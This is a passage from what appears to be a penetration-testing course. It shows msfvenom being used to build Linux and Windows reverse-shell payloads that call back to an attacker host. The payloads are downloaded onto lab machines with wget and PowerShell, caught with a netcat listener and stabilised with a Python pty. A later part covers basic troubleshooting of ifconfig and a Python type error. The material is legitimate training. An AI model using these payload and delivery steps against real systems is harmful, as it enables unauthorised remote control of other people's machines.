target and/or host machines.
The Metasploit Framework will not be covered in this section.
Instead, we'll use the tools already reviewed above to establish the
connections between our custom shells and our Kali machine.
To follow along, start the VM in the Resources section.
On our Kali machine, let's check the help menu for msfvenom by
using the -h option.
kali@kali:~$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
Listing 56 - The help menu for msfvenom is displayed
The first option is -l (or --list), which can
help us analyze what is available with MSFvenom in terms of the type
entered. Let's check the listing of the payloads[550] to find
what kinds of payloads are available.
kali@kali:~$ msfvenom --list payloads
---
Framework Payloads (592 total) [--payload <value>]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
---
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command or just a /bin/sh shell
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
---
windows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
windows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
windows/x64/shell/bind_named_pipe Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
windows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
windows/x64/shell/bind_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
windows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
windows/x64/shell/reverse_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
windows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)
windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)
---
Listing 57 - The payloads are listed on the terminal
At the time of this writing, there are 592 available
payloads to choose from. This may be daunting at first, but the
payloads are sorted out by the platform[551] they work
with. In the truncated listing above, aix, android, linux, and
windows are shown, which is not an all-encompassing list of the
MSFvenom available platforms. Let's inspect the list of available
platforms by using --list platforms.
kali@kali:~$ msfvenom --list platforms
---
Framework Platforms [--platform <value>]
========================================
Name
----
aix
android
apple_ios
arista
brocade
bsd
bsdi
cisco
firefox
freebsd
hardware
hpux
irix
java
javascript
juniper
linux
mainframe
mikrotik
multi
netbsd
netware
nodejs
openbsd
osx
php
python
r
ruby
solaris
unifi
unix
unknown
windows
Listing 58 - The platforms available with msfvenom are listed
Choosing the platform the shell is created for is critical to
successfully creating our custom shell with MSFvenom. For instance,
a Linux payload would most likely not be successful against a Windows
machine.
Let's list one more thing that can be found with MSFvenom: the
formats of the output shell file.
kali@kali:~$ msfvenom --list formats
---
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format <value>]
==============================================
Name
----
base32
base64
bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscript
Listing 59 - The formats with msfvenom are listed
The Framework Executable Formats are used when the custom shell
is made as a standalone program. This can be placed on the system
and executed directly.
The Framework Transform Formats are used inside the custom code that
we are writing. These are not compiled or executable, but formatted to
incorporate into our source code.
Many uncompiled exploits have an area where the shell needs to be
replaced before the code is compiled.
Before we continue, let's cover the types of payloads available for
shells beyond the platforms. Let's investigate the following payloads.
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged) . Connect back to the attacker
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/shell/reverse_tcp Spawn a command shell (staged) . Connect back to the attacker
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
Listing 60 - The shells shown are similiar in names and share the same platform
The shells shown in this listing all have similar names. The key
difference here is the separation after the architecture, of the
payload names via a '/' or ''. The payloads that are separated with a
'/' character are _staged payloads.[552] Staged payloads
begin the execution process with a small portion of the code that
doesn't contain the full payload.
Instead, it initiates the payload download from the attacking host
after it begins execution. The benefit of a staged payload is that the
size of the file is smaller. This may help with upload limitations on
a target host. We will not be working with staged payloads, since that
would require us to work with Metasploit.
Payloads separated by an underscore (_) are stageless
payloads.[553] Stageless payloads contain the full
payload from MSFvenom and do not require any additional resources from
the attacker after initial execution. These payloads are larger when
they are produced but often don't require the use of Metasploit to
obtain shell access.
With the three listings analyzed and a brief explanation of
staged vs. stageless payloads covered, let's move on to payload
options and determine what is needed for the payload to function
correctly. We'll do this by specifying the payload with -p
and adding --list-options Let's work with the payload
linux/x86/shell_reverse_tcp.
kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp --list-options
---
Options for payload/linux/x86/shell_reverse_tcp:
=========================
Name: Linux Command Shell, Reverse TCP Inline
Module: payload/linux/x86/shell_reverse_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 68
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle@metasploit.com>
joev <joev@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Connect back to attacker and spawn a command shell
Advanced options for payload/linux/x86/shell_reverse_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that executes: if (fork()) { exit(0); }
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Evasion options for payload/linux/x86/shell_reverse_tcp:
=========================
Name Current Setting Required Description
---- --------------- -------- -----------
Listing 61 - The payload information is listed
This command execution provides more information about the
payload details. For now, let's focus on the highlighted portion
of the listing and set the options needed for this payload. To
do this, we will begin with msfvenom and set the payload of
linux/x86/shell_reverse_tcp with -p. Then will
will set the local host with LHOST and the local port with
LPORT.
kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443
---
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
1���SCSj���f�Y�?Iy�hh����fPQS���Rhn/shh//bi��RS���
Listing 62 - The payload was created with the options provided
From the output we can determine that this command execution to
build the custom shell is not very useful. As a result of not
specifying the output format or saving the file, the payload is in a raw
format and wasn't saved to our machine for use.
Let's also modify this payload a bit to be relevant for making a
reverse shell connection from the exercise host ending in .77. The
remote host is a Linux machine, so let's specify the output format
as an ELF[554] file. ELF stands for Executable and Linkable
Format and is the standard format for executable files on Linux
systems. We'll add a -f elf to the end of our command execution
and redirect the output to a file called shell.elf.
kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.48.2 LPORT=443 -f elf > shell.elf
---
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Listing 63 - The custom reverse shell file is created
Now that we have our custom shell created, let's transfer this into
the machine ending in .77. To do this, we'll first make sure we are in
the same directory as our shell.elf file. Then we start a simple
HTTP server by running a Python module. We will enter python -m
SimpleHTTPServer 80 on our Kali machine.
This will create a web server that will allow us to download files to our victim machine.
kali@kali:~$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 64 - The Kali web server is running
Now that our web server is running on our Kali host, let's open the
another Kali terminal tab to ssh to the host ending in .79 with
offensive:security.
kali@kali:~$ ssh offensive@192.168.50.77
offensive@192.168.50.77's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-96-generic x86_64)
...
Last login: Wed Jan 19 19:08:08 2022
offensive@linuxshells:~$
Listing 65 - We connected to the remote host
From the SSH session, we'll need to download the custom shell into
the remote machine. We'll tackle this by using wget. This is
a lightweight but powerful utility to retrieve files from remote
systems. Here we will download the file from our web server. This
should only take a few seconds.
offensive@linuxshells:~$ wget http://192.168.48.2/shell.elf
--2022-01-19 19:57:36-- http://192.168.48.2/shell.elf
Connecting to 192.168.48.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 152 [application/octet-stream]
Saving to: ‘shell.elf’
...
2022-01-19 19:57:36 (6.55 MB/s) - ‘shell.elf’ saved [152/152]
Listing 66 - The custom shell is now on the remote host
The output shows that the shell was downloaded into the remote
host and the byte count of the file. From our previous output from
MSFvenom, we know that the shell file size is 152 bytes.
We can also find the activity on our web server terminal window.
To stay security conscious, let's stop our web server by pressing
C+c.
...
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.50.77 - - [19/Jan/2022 12:57:36] "GET /shell.elf HTTP/1.1" 200 -
^C Traceback (most recent call last):
...
KeyboardInterrupt
Listing 67 - The web server is stopped on our Kali host
While still on our Kali machine, let's start a Netcat listener on
port 443. We need to do this before executing our reverse shell to
establish the shell connection.
kali@kali:~$ nc -lvnp 443
listening on [any] 443 ...
Listing 68 - The netcat listener is set to port 443 and is running
Now, let's go back to our SSH window and make our custom shell
executable. After that, we'll run the binary.
offensive@linuxshells:~$ chmod +x shell.elf
offensive@linuxshells:~$ ./shell.elf
Listing 69 - The shell binary is running
On our Kali host, we'll discover activity from the remote system.
As with some shells, we may need to make it more stable. There are a
variety of waysstabilize to spawn a stable shell, but we'll just
cover using a Python shell.
We can use Python to switch our shell to a /bin/bash shell.
To do that we need to run Python with the -c option, which will
allow us to run a command. From here we will tell Python to run a
command in single quotes. The command we will run is to import the
Pseudo-terminal utilities,[555] pty and then spawn the process of
the Bash terminal. Finally, we will run set the terminal emulator to
xterm with the export TERM= command.
kali@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.77] 43214
python -c 'import pty;pty.spawn("/bin/bash")';
offensive@linuxshells:/home/offensive$ export TERM=xterm
export TERM=xterm
offensive@linuxshells:/home/offensive$
Listing 70 - The reverse shell is connected and stabalized
When we run this, we switch to the Bash terminal and verify that we
were able to successfully connect our custom reverse shell to our Kali
host and get access to our target machine.
Let's exit this shell session by entering exit twice, once for
our Bash terminal and once for our base connection. We can stop the
exercise host ending in .77 as well. Let's create a custom Windows
reverse shell and use it to connect to the Windows client ending in
.79.
To execute the reverse shell, start the VM in the Resources section,
and manually run the created executable from that machine.
We will conduct the same pattern of the two terminal windows. Let's
generate the payload for a Windows executable file. We'll use the
windows/shell_reverse_tcp payload and create an executable file.
We need to remember to use -p to set the payload, the
LHOST and LPORT settings, and finally the -f (format) option.
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.48.2 LPORT=443 -f exe > windows_reverse.exe
---
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Listing 71 - The custom Windows reverse shell is created
This executable file is very large at 73802 bytes. Let's start our web
server again and connect to the host ending in .79 with rdesktop
using the credentials offsec:offsec.
For the sake of brevity, neither the connection nor the web server
execution will be shown.
Let's open a PowerShell window on the remote host and download the
custom shell.
PS C:\Users\offsec> Invoke-WebRequest -Uri http://192.168.48.2/windows_reverse.exe -OutFile windows_reverse.exe
Listing 72 - The custom reverse shell is downloaded on the target host
Again, we'll start the Netcat listener on our Kali machine. Next,
let's run the executable from within our PowerShell session.
kali@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.48.2] from (UNKNOWN) [192.168.50.79] 50118
Microsoft Windows [Version 10.0.19044.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Users\offsec>
Listing 73 - The windows reverse shell is connected to our Kali host
In this section, we went over MSFvenom and how to create basic custom
shells. We were able to create a shell for Linux and a shell for
Windows and successfully execute them both. Of course, there is
more to learn as we progress in our Information Security careers, but
for now, this is a great foundation for working with these tools.
In this Module, we will cover the following Learning Units:
Each learner moves at their own pace, but this Module should take
approximately 9.5 hours to complete.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 5 minutes to complete.
No matter what area of information technology, the most critical skill
is the ability to troubleshoot issues as they arise. There is no way
that any single technician, security professional, administrator,
or programmer can know every possible issue that may arise while
working in the industry. This is part of the joys of working in
the information technology field; it is forever changing and often
provides something new to learn. This Module will cover some examples
of issues that may come up during the process of your information
technology career and the methodology for overcoming these issues.
It is important to know that the focus should not be on the issue
itself, but on the process used to overcome those challenges to move
forward with our initial desired task.
Beyond taking a methodical approach to resolving issues, it's also
very important to have a mindset for solving problems and overcoming
challenges. When presented with an issue, it should be considered an
opportunity to solve the challenge and overcome the obstacle. Rather
than getting angry or upset that there is a problem, we should get a
sense of excitement about learning something new and useful.
This may not come naturally to some people, so getting this excitement
may take a while. If anything, step away from the problem, think about
the issue for a while, and return to the challenge ready to try and
learn new things. Some challenges can take a long time to overcome,
as well. The key is not to let frustration take over all our emotions
in the given situation. We don't give up until all our known possible
solutions are exhausted, and we are comfortable with the idea that the
challenge we are facing does not have a viable solution. Spending so
much time on an issue may feel like a waste of time, but through this
experience, we grow and learn. We can carry that knowledge from these
challenges as we move forward in the information technology field.
The experienced members in the IT and security fields have gone
through many issues that they needed to overcome. It is the collection
of knowledge that comes with solving these problems that makes
these people experienced members of the community. If something is
challenging for us, we can trust that the challenge will help us grow
and eventually become an experienced member of the community.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 70 minutes to complete.
In many areas of IT, it is common to come across solutions or
instructions that do not align with the system we are working on.
Despite the information not matching our system, we must analyze the
patterns and goals of what is being presented.
Searching Google can be a daily activity when working in IT. Let's
examine an example where things may not align with our current Kali
system. Let's search: "change the IP address on a Linux system."
For the sake of simplicity, let's click the first link[556]
and explore the webpage.
The Table of Contents looks promising as a resource to complete our
goal. There is also a prerequisite section that states we should be
able to execute ip a.
kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:4b:72:30 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 82945sec preferred_lft 82945sec
inet6 fe80::a00:27ff:fe4b:7230/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 1 - The network interfaces are displayed with information
The command succeeded so we should be able to
configure our IP address on our Kali host. If we go further in
the article, we find an option to configure our IP address with
ifconfig.
The article does state that this command is deprecated, but let's try
the instructions anyway. We can follow along with the steps and enter
the command to configure the IP to 192.168.178.32.
kali@kali:~$ ifconfig enp0s3 192.168.178.32/24
SIOCSIFADDR: Operation not permitted
enp0s3: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: Operation not permitted
Listing 2 - The command execution failed with a permissions error
The command did not execute as shown in the instructions. The first
output line displays a permissions error. To overcome this, let's
apply sudo to the above command to overcome the permissions
problem.
kali@kali:~$ sudo ifconfig enp0s3 192.168.178.32/24
[sudo] password for kali:
SIOCSIFADDR: No such device
enp0s3: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
Listing 3 - The command execution failed with a device missing error
Despite having the correct permissions, the command still fails. In
both error outputs, an error displaying "No such device" was shown.
If we go back and execute ip a, we get the listing of network
interfaces.
kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:4b:72:30 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 82945sec preferred_lft 82945sec
inet6 fe80::a00:27ff:fe4b:7230/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 4 - The interfaces are displayed with information
We don't have an interface named "enp0s3". Instead, we have an
interface called "eth0". Let's run ifconfig again with the
correct interface name.
kali@kali:~$ sudo ifconfig eth0 192.168.178.32/24
kali@kali:~$
Listing 5 - The command completes successfully
There are no error messages displayed during the execution of the
command. Let's use ifconfig to verify if the IP configuration
change took effect.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.178.32 netmask 255.255.255.0 broadcast 192.168.178.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 590 (590.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18 bytes 1576 (1.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 6 - The IP configuration change took effect
We successfully configured the eth0 interface's IP address to
192.168.178.32, as shown in the article.
The article does cover that the interfaces may be different and also
provides instructions related to eth0 further down. The point in this
scenario is that things like interfaces, paths, or other attributes
related to a subject may not be exactly as shown in some instructions.
This misalignment in the instructions is common due to all the
variations in technologies. It is our responsibility, as technical
professionals, to work with our system specifications and relate them
to the instructions at a conceptual level, rather than literal. Doing
this will enable us to explore the issues we face in technology and
troubleshoot with a problem/solution mindset, instead of relying on
exact instructions for the issue we are trying to overcome.
When troubleshooting, and working with technology in general, it
is important to try to relate concepts that may be used toward
the progress of creating, fixing, or even designing something. The
mentality of not stopping when an error is displayed on the screen,
and instead analyzing the proposed solution and how it relates to what
we are doing, will make all the difference between being technically
competent and a novice.
Congratulations on your first steps into troubleshooting. Although
this wasn't directly a troubleshooting issue, this skill is essential
for moving forward with any problem that arises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 2 hours to complete.
Sometimes, we make mistakes when writing a script or code. Even
seasoned programmers will often miss a semicolon or a quote that ruins
the execution of the code. Other issues can come up as well, and we'll
examine one common situation. We are writing a very simple script
in Python that takes the name and age of the user and returns the
respective output in a message.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 7 - A Python script to take a name and age and return a message to the user
As shown, the script takes in a name and age as two separate inputs.
It then prints out a message to the user. Let's try to execute this
script through the terminal shell. We use the shebang[207-2] at
the beginning of the script to use /usr/bin/python to execute
the script code.
kali@kali:~$ ./userAge.py
zsh: permission denied : ./userAge.py
Listing 8 - The script fails to execute with a permission denied error
The script did not execute for us. An error message shows "permission
denied" for the script userAge.py. With this, we can dig
deeper into the permissions[557] of our script and what
we are trying to accomplish.
kali@kali:~$ ls -al ./userAge.py
-rw-r--r-- 1 kali kali 163 Jul 28 10:59 ./userAge.py
Listing 9 - The DAC permissions are shown for the userAge.py file
Our goal is to execute userAge.py from the terminal. We
can assess a couple of things from the listing above. First, we can
determine that the permissions for the file don't have the execute bit
set for the owner, group, or others. We can also observe that the file
is owned by the kali user and kali group.
We are attempting to execute this with the kali user already, so
ownership is not the issue. The issue is that the execute bit is not
set when our goal is to execute the script. With that, let's set the
permission bits to -rwxr--r-- with chmod.[558]
kali@kali:~$ chmod 744 ./userAge.py
kali@kali:~$ ls -al ./userAge.py
-rwxr--r-- 1 kali kali 163 Jul 28 10:59 ./userAge.py
Listing 10 - The owner can now execute the script
Now that the execute bit is added to the permissions for the owner of
the file, let's try to execute the script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Traceback (most recent call last):
File "./userAge.py", line 6 , in <module>
print("Hello " + name + ". " + age + " is a great age to be!")
TypeError: cannot concatenate 'str' and 'int' objects
Listing 11 - The script fails with another error message
Unfortunately, the script failed after its execution. We can determine
that the script ran, so it's no longer an issue with the permissions.
Let's review the error message and analyze the content that is
highlighted in the listing above.
The error message tells us that there's an issue on line 6 of our
script. The bottom line provides "TypeError: cannot concatenate 'str'
and 'int' objects". Let's perform an Internet search for this message.
Now that the exact error message is typed into the search box, we
observe what results come up for this error.
The first search result is almost an exact match. It also has a
reference to Python, which is the scripting language we are working
with. This looks like a great match! Let's right-click this link and
open it in a new tab.
Let's review the link we opened.
Let's scroll down the page to the most popular solution.
Let's go back to our code and review if we can relate this solution to
our problem.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 12 - We observe the use of int in our code
The issue was reported on line 6 of the code. Comparing the
explanation in the StackOverflow solution we found, we can determine
that the issue is that there is a combination of a string and an
integer when the message is supposed to be output to the user. There
are two variables in use in this code: name and age. Let's try to
determine what types of variables these are by adding some additional
code to our script and commenting out the print line that is having
the issue. To do this, we'll use the type function.[559]
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print(type(name))
print(type(age))
#print("Hello " + name + ". " + age + " is a great age to be!")
Listing 13 - The type function is added to determine the variable type or name and age and the print line is commented out to avoid the error while we debug the code
We added a print line for each variable with the type function.
Now let's determine the variable types for name and age by
executing our script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
<type 'str'>
<type 'int'>
Listing 14 - The output of our code execution shows a string and an integer variable type
The output shows that there is a string variable type and an
integer type. For such a simple script, this is an acceptable
approach to keeping track of what each of these lines represents. This
would not work, however, in keeping track of debugging a script that
is over 1000 lines long. To optimize our output, let's print the
names and types.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
#print("Hello " + name + ". " + age + " is a great age to be!")
Listing 15 - The variables are added with print lines before the type function executions
Now that we added some print statements that will help us sort out
which output is for which variable, let's run our script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Listing 16 - The variable types are easier to correlate with the variables
With this information, we know that name is a string and age is
an integer. Now if we think about the post we visited earlier, we know
that a string and an integer cannot be used together in the print
line, which our debugger told us was on line 6. Of course, adding more
lines now, that line number will change. Let's simply un-comment the
print line, without removing our debugging lines yet.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 17 - The print line of our script code is uncommented
Now that we included the print statement back into our code, let's
execute it to examine how the error message changes.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Traceback (most recent call last):
File "./userAge.py", line 11 , in <module>
print("Hello " + name + ". " + age + " is a great age to be!")
TypeError: cannot concatenate 'str' and 'int' objects
Listing 18 - The same error is reported on a different line of the code
The error is now reported on line 11. The line is conveniently
included in the erroneous output as well, so we can determine that it
is still caused by the same print statement. Now, let's go back to
our script code and analyze why we are having this issue.
kali@kali:~$ cat userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int (input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + age + " is a great age to be!")
Listing 19 - The userAge.py script has the debugging statements and erroneous print statement
First, we can inspect the variable assignments for name and age.
Highlighted in the listing above is the int() function[560]
within the age variable assignment. This takes the input from the
user and makes that input string an integer. This is why type shows
age as an integer. We still want to keep this as an integer, though.
If a user wanted to enter another name, such as "Spies", the script
would output "Hello August. Spies is a great age to be!" This wouldn't
make sense with the goal of the script. Of course, at this time, if
a user were to try to do that, the script would error and exit. We'll
keep this inefficiency in our code, regardless, as this section is
more about overcoming and identifying errors.
The print statement is outputting a string to the user. This means
that the age variable is the odd portion out of this statement. We
can use the str() function[561] to make age a string for
the output.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Name:")
print(type(name))
print("Age:")
print(type(age))
print("Hello " + name + ". " + str(age) + " is a great age to be!")
Listing 20 - The str() function changes the type of the variable, age, to a string
Now that we made the type for the age variable a string, let's try
to execute the code again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Name:
<type 'str'>
Age:
<type 'int'>
Hello August. 31 is a great age to be!
Listing 21 - The code executes successfully
The code was executed successfully. It still has the debugging
statements we used to troubleshoot the error message so let's remove
those.
kali@kali:~$ cat ./userAge.py
#!/usr/bin/python
